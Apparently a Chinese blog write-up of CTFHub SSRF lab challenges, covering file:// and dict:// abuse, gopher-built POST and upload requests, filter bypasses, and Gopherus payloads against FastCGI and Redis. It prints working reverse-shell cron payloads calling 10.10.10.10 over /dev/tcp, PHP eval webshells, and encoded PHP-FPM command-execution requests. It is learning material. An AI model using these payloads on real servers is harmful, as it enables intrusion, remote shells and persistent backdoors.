longlongyu
for me

SSRF

2025-03-31

SSRF (Server-Side Request Forgery,服务器端请求伪造)是一种由攻击者构造请求,由服务端发起请求的安全漏洞。一般情况下,SSRF攻击的目标是外网无法访问的内部系统(正因为请求是由服务端发起的,所以服务端能请求到与自身相连而与外网隔离的内部系统)。

ssrf就是利用我们可以访问到的服务器,对其服务器下面的内网进行探测,也可以理解为服务器拥有外网ip,而我们要访问的电脑则是在公网ip进行nat后分配的内网ip

在ctfhub上练习和学习了ssrf

第一部分

【1】内网访问

1
?url=127.0.0.1/flag.php

image-20250414122707461

【2】伪协议读取文件

SSRF利用的协议

(1)file:在有回显的情况下,利用 file 协议可以读取任意内容

访问文件系统总而获取文件,就是读取服务器本地文件,访问本地的静态资源

file:///var/www/html/flag.php

(2)dict:泄露安装软件版本信息,查看端口,操作内网redis服务等

获取服务器本机的redis信息。字典服务器协议,访问字典资源,能够引用允许通过DICT协议使用的定义或单词列表。如,dict:///ip:6739/info:

(3)gopher:gopher支持发出GET、POST请求:可以先截获get请求包和post请求包,再构造成符合gopher协议的请求。gopher协议是ssrf利用中一个最强大的协议(俗称万能协议)。可用于反弹shell

(4)http/s:探测内网主机存活

image-20250404161324145

访问源码

image-20250404161352756

【3】端口扫描

1,有提示端口在8000~9000这个范围,所以尝试爆破

image-20250404161412815

2,直接访问,就能够得到flag

知识点补充

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
#### `\dic://协议数据格式 :\`

`一、dict协议探测端口和服务指纹`

`dict://127.0.0.1:22`

`dict://172.22.10.10:3306`

`dict://127.0.0.1:6379/info`



`二、dict协议攻击redis,写入定时任务,进行反弹shell`

`centos系统定时任务的路径为:/var/spool/cron`

`debian系统定时任务的路径为:/var/spool/cron/crontabs`



`dict://127.0.0.1:6379/config:set:dbfilename:root`

`dict://127.0.0.1:6379/config:set:dir:/var/spool/cron`

`dict://127.0.0.1:6379/set:test:"\n\n/1 /bin/bash -i >& /dev/tcp/10.10.10.10/1234 0>&1\n\n"`

`dict://127.0.0.1:6379/save`



`注意:若payload存在被转义或过滤的情况,可利用16进制写入内容`

`dict://127.0.0.1:6379/set:test:"\n\n\x2a/1\x20\x2a\x20\x2a\x20\x2a\x20\x2a\x20/bin/bash\x20\x2di\x20\x3e\x26\x20/dev/tcp/10.10.10.10/1234\x200\x3e\x261\n\n"`





`三、dict协议攻击redis,写入webshell`

`dict://127.0.0.1:6379/config:set:dbfilename:test.php`

`dict://127.0.0.1:6379/config:set:dir:/var/www/html`

`dict://127.0.0.1:6379/set:test:"\n\n<?php @eval($_POST[x]);?>\n\n"`

`dict://127.0.0.1:6379/save`



`若存在过滤, 则利用16进制内容写入:`

`dict://127.0.0.1:6379/set:test:"\n\n\x3c\x3f\x70\x68\x70\x20\x40\x65\x76\x61\x6c\x28\x24\x5f\x50\x4f\x53\x54\x5b\x78\x5d\x29\x3b\x3f\x3e\n\n"`




四、dict协议攻击redis,写入ssh公钥

操作和写入定时任务相似`

第二部分(Gopher协议的利用)

Gopher协议

1,gopher协议支持发出GET、POST请求:可以先拦截get请求包和post请求包,再构造成符合gopher协议的请求。gopher协议是ssrf利用中一个最强大的协议(俗称万能协议)。

利用gopher协议可以攻击内网的 Redis、Mysql、FastCGI、Ftp 等,也可以发送 GET、POST 请求,这可以拓宽 SSRF 的攻击面

格式:

gopher://hostname(主机名或IP地址):port(端口号)/请求方法(get、post等)/path(路径)

gopher://:/_后接tcp流

例子:请求 Gopher 服务器上的 /example/file.txt 文本文件,可以使用以下 URL 格式:

gopher://example.com:端口/example/file.txt

3,在gopher协议中发送HTTP的数据的步骤:\构造HTTP数据包URL编码、替换回车换行为\%0d%0a\、发送gopher协议\

image-20250404161531362
4,\gopher的GET请求\

image-20250404161550689

例子:

GET /testg.php?name=xxx HTTP/1.1

Host: 10.211.55.2

5,\gopher的POST请求:\

\例如:\

1
2
3
4
5
6
7
8
9
10
11
gopher://127.0.0.1:80/_POST /flag.php HTTP/1.1

Host: 127.0.0.1:80

Content-Type: application/x-www-form-urlencoded

Content-Length: 36



key= 35f3958138b5a9da466bd0a976db21b8

需要包含这4个

注意:
  1. 问号(?)需要转码为URL编码,也就是%3f
  2. 回车换行要变为%0d%0a,但如果直接用工具转,可能只有%0a
  3. 在HTTP包的最后要加%0d%0a,代表消息结束(具体可研究HTTP包结束)
  4. 在gopher中默认端口为70

【1】POST请求

1,试试访问?url=127.0.0.1/flag.php

查看源码

image-202504041616113722,用file协议查看文件?url=file:///var/www/html/flag.php

查看源码

image-202504041616299983,构造post请求

1
2
3
4
5
6
7
8
9
10
11
gopher://127.0.0.1:80/_POST /flag.php HTTP/1.1

Host: 127.0.0.1:80

Content-Type: application/x-www-form-urlencoded

Content-Length: 36



key= 35f3958138b5a9da466bd0a976db21b8

注意:

  1. 问号(?)需要转码为URL编码,也就是%3f
  2. 回车换行要变为%0d%0a,但如果直接用工具转,可能只有%0a
  3. 在HTTP包的最后要加%0d%0a,代表消息结束(具体可研究HTTP包结束)
  4. 在gopher中默认端口为70

在向服务器发送请求时,首先浏览器会进行一次 URL解码,其次服务器收到请求后,在执行curl功能时,进行第二次 URL解码。

用在线工具url编码2次

第一次编码后记得修改

1
gopher://127.0.0.1:80/_POST%20/flag.php%20HTTP/1.1%0d%0AHost:%20127.0.0.1:80%0d%0AContent-Type:%20application/x-www-form-urlencoded%0d%0AContent-Length:%2036%0d%0A%20%0Akey=35f3958138b5a9da466bd0a976db21b8%0d%0a

image-20250404161656776进行第2次编码

1
gopher://127.0.0.1:80/_POST%2520/flag.php%2520HTTP/1.1%250d%250AHost:%2520127.0.0.1:80%250d%250AContent-Type:%2520application/x-www-form-urlencoded%250d%250AContent-Length:%252036%250d%250A%250d%250Akey=35f3958138b5a9da466bd0a976db21b8%250d%250a

image-20250404161714957

访问得到flag

【2】上传文件

challenge-1d2d783de061a7da.sandbox.ctfhub.com:10800/?url=_

按之前的题目同样访问一遍

1
2
3
?url=127.0.0.1/flag.php

?url=file:///var/www/html/flag.php

得到源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php

error_reporting(0);
if($_SERVER["REMOTE_ADDR"] != "127.0.0.1"){
echo "Just View From 127.0.0.1";
return;

}

if(isset($_FILES["file"]) && $_FILES["file"]["size"] > 0){
echo getenv("CTFHUB");
exit;

}

?>

1,\在from表单里提交按钮\

1
\<input type="submit" name="submit">\

image-20250404161743029

\2,用bp捕获,构造post请求\

image-20250404161758856

\我直接全部复制放在线工具里了\

\2次url编码\

\注意把%0A全部变成%0D%0A,得到\

1
\?url=gopher://127.0.0.1:80/_POST%2520/flag.php%2520HTTP/1.1%250D%250AHost:%2520challenge-1d2d783de061a7da.sandbox.ctfhub.com:10800%250D%250AUser-Agent:%2520Mozilla/5.0%2520(Windows%2520NT%252010.0;%2520Win64;%2520x64;%2520rv:136.0)%2520Gecko/20100101%2520Firefox/136.0%250D%250AAccept:%2520text/html,application/xhtml+xml,application/xml;q=0.9,\/\;q=0.8%250D%250AAccept-Language:%2520zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2%250D%250AAccept-Encoding:%2520gzip,%2520deflate,%2520br%250D%250AReferer:%2520http://challenge-1d2d783de061a7da.sandbox.ctfhub.com:10800/?url=127.0.0.1/flag.php%250D%250AContent-Type:%2520multipart/form-data;%2520boundary=----geckoformboundary14b87f9c44b8ebc687cce1d9d4874719%250D%250AContent-Length:%2520340%250D%250AOrigin:%2520http://challenge-1d2d783de061a7da.sandbox.ctfhub.com:10800%250D%250AConnection:%2520keep-alive%250D%250AUpgrade-Insecure-Requests:%25201%250D%250APriority:%2520u=0,%2520i%250D%250A%250D%250A------geckoformboundary14b87f9c44b8ebc687cce1d9d4874719%250D%250AContent-Disposition:%2520form-data;%2520name=%2522file%2522;%2520filename=%25221.txt%2522%250D%250AContent-Type:%2520text/plain%250D%250A%250D%250Assrf%2520upload%250D%250A------geckoformboundary14b87f9c44b8ebc687cce1d9d4874719%250D%250AContent-Disposition:%2520form-data;%2520name=%2522submit%2522%250D%250A%250D%250A%25E6%258F%2590%25E4%25BA%25A4%25E6%259F%25A5%25E8%25AF%25A2%250D%250A------geckoformboundary14b87f9c44b8ebc687cce1d9d4874719--%250D%250A\

得到flag

【3】FastCGI协议

了解了协议原理

Fastcgi协议分析 && PHP-FPM未授权访问漏洞 && Exp编写_flower未授权-CSDN博客

fastcgi协议是服务器中间件和某个语言后端进行数据交换的协议

数据包(TCP流)–>Nginx(中间件)–>FPM(fastcgi协议解析器)–>FPM按照fastcgi的协议将TCP流解析成真正的数据

1,用Gopherus脚本(构造特定的Gopher协议数据包)

![kali p-2025-03-26-21-14-28](kali p-2025-03-26-21-14-28-1743755121643-2.png)

![](C:\Users\27866\Desktop\kali p-2025-03-26-20-43-50.png

1
gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%00%F6%06%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH59%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%09SCRIPT_FILENAMEindex.php%0D%01DOCUMENT_ROOT/%00%00%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00%3B%04%00%3C%3Fphp%20system%28%27cat%20/f%2A%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00

注意:进行编码时要去掉没有用的空格或者换行

然后再进行2次编码

1
2
3
4
?url=
gopher%3A%2F%2F127.0.0.1%3A9000%2F_%2501%2501%2500%2501%2500%2508%2500%2500%2500%2501%2500%2500%2500%2500%2500%2500%2501%2504%2500%2501%2500%25F6%2506%2500%250F%2510SERVER_SOFTWAREgo%2520%2F%2520fcgiclient%2520%250B%2509REMOTE_ADDR127.0.0.1%250F%2508SERVER_PROTOCOLHTTP%2F1.1%250E%2502CONTENT_LENGTH59%250E%2504REQUEST_METHODPOST%2509KPHP_VALUEallow_url_include%2520%253D%2520On%250Adisable_functions%2520%253D%2520%250Aauto_prepend_file%2520%253D%2520php%253A%2F%2Finput%250F%2509SCRIPT_FILENAMEindex.php%250D%2501DOCUMENT_ROOT%2F%2500%2500%2500%2500%2500%2500%2501%2504%2500%2501%2500%2500%2500%2500%2501%2505%2500%2501%2500%253B%2504%2500%253C%253Fphp%2520system%2528%2527cat%2520%2Ff%252A%2527%2529%253Bdie%2528%2527-----Made-by-SpyD3r-----%250A%2527%2529%253B%253F%253E%2500%2500%2500%2500


得到flag

【4】Redis协议

继续使用Gopherus脚本

1
2
python2 gopherus.py --exploit redis

得到

1
2
gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2433%0D%0A%0A%0A%3C%3Fphp%20%40eval%28%24_POST%5B%27cmd%27%5D%29%3B%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A

二次url编码

1
gopher%3A%2F%2F127.0.0.1%3A6379%2F_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252434%250D%250A%250A%250A%253C%253Fphp%2520%2540eval%2528%2524_POST%255B%2527cmd%2527%255D%2529%253B%2520%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A%2Fvar%2Fwww%2Fhtml%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A%250A

访问shell.php

蚁剑连接,得到flag

第三部分

【1】URL Bypass

HTTP 基本身份认证绕过:

​ HTTP 基本身份认证允许 Web 浏览器或其他客户端程序在请求时提供用户名和口令形式的身份凭证的一种登录验证方式。
​ 也就是:http://www.xxx.com@www.yyy.com形式

1
?url=http://notfound.ctfhub.com@127.0.0.1/flag.php

【2】数字IP Bypass

使用上面的payload

Ban ‘/127|172|@/‘

进制绕过

1
2
3
八进制:`0177.000.000.001`
十进制:`127.0.0.1`
十六进制:`0x7f000001`
1
?url=0177.000.000.001/flag.php

【3】302跳转 Bypass

1
?url=127.0.0.1/flag.php
1
2
?url=file:///var/www/html/flag.php
?url=file:///var/www/html/index.php

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php

error_reporting(0);

if (!isset($_REQUEST['url'])) {
header("Location: /?url=_");
exit;
}

$url = $_REQUEST['url'];

if (preg_match("/127|172|10|192/", $url)) {
exit("hacker! Ban Intranet IP");
}

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_exec($ch);
curl_close($ch);

禁用了127,172,10,192,没有禁用localhost

1
?url=localhost/flag.php

但是这题要求用302跳转,后续再瞅瞅

【4】DNS重绑定 Bypass

上面的payload不行

rbndr.us DNS 重新绑定服务

1
?url=7f000001.7f000002.rbndr.us/flag.php

Author: syifna

Link: http://syifna.github.io/2025/03/31/ssrf/

Copyright: All articles in this blog are licensed under CC BY-NC-SA 3.0 unless stating additionally.

< PreviousPost
php特性
NextPost >
Hello World
CATALOG
  1. 1. 第一部分
    1. 1.0.1. 【1】内网访问
    2. 1.0.2. 【2】伪协议读取文件
    3. 1.0.3. 【3】端口扫描
  • 2. 第二部分(Gopher协议的利用)
    1. 2.0.1. 格式:
      1. 2.0.1.1.
        1. 2.0.1.1.1. 4,\gopher的GET请求\
        2. 2.0.1.1.2. 5,\gopher的POST请求:\
        3. 2.0.1.1.3. 注意:
    2. 2.0.2. 【1】POST请求
    3. 2.0.3. 注意:
    4. 2.0.4. 【2】上传文件
    5. 2.0.5. 【3】FastCGI协议
    6. 2.0.6. 【4】Redis协议
  • 3. 第三部分
    1. 3.0.1. 【1】URL Bypass
    2. 3.0.2. 【2】数字IP Bypass
    3. 3.0.3. 【3】302跳转 Bypass
    4. 3.0.4. 【4】DNS重绑定 Bypass